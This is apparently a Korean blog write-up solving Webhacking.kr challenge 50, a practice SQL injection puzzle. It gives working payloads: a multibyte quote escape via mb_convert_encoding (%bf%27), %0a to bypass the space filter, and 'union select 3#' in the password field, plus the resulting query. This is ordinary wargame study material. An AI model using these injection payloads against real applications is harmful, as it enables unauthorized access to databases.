뉴비에욤
Webhacking.kr 50번 본문
GET id 변수에서 "mb_convert_encodin" 함수를 사용함 (인젝션 포인터)
'from', 괄호, 비교구문,공백 등 필터링
id 변수에 "union" 포함 시 종료
사용자가 입력한 id,pw를 기반으로 해당 유저 정보를 조회 함
조회된 값이 '3'일 경우 문제풀이 성공
* mb_convert_encoding 이용하여 문제 클리어
* 참고로 테이블에는 lv3 유저가 존재하지 않음
* LIKE 구문으로 테스트 가능 (%bf%27||lv%0alike%0a3)
* 기타 문자열 함수는 괄호 필터링으로 인해 사용 불가
* 따라서 '3' 이라는 데이터를 생성하기 위해 union 사용
* 사용자가 입력한 패스워드는 md5 함수 인자로 사용
* 값 변조 불가 ( 모든 입력 값이 32바이트 16진수로 변환 됨 )
* UNION 필터링은 id 변수에서만 이루어짐
* id 변수에서 쿼터 사용 (%bf%27)
* pw 변수에서 union select 3 사용
* 공백 우회를 위해 %0a 사용
| 변수 | 입력 | 쿼리 |
===========================================================================
id %bf%27 id='?'' and pw=md5('pw')
=> 기존 싱글 쿼터를 닫는 과정에서 and ~ md5( 까지 쿼리가
문자열로 인식 됨
============================================================================
pw union%0aselect%0a3%23 id='?'' and pw=md5('union select 3#')
=> union select 쿼리를 삽입하여 '3' 데이터 생성
최종 쿼리 : id='' ' and pw=md5(' union select 3
id='' union select 3
'Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 52번 (0) | 2015.08.16 |
---|---|
Webhacking.kr 51번 (0) | 2015.08.16 |
Webhacking.kr 49번 (0) | 2015.08.16 |
Webhacking.kr 48번 (0) | 2015.08.16 |
Webhacking.kr 47번 (0) | 2015.08.16 |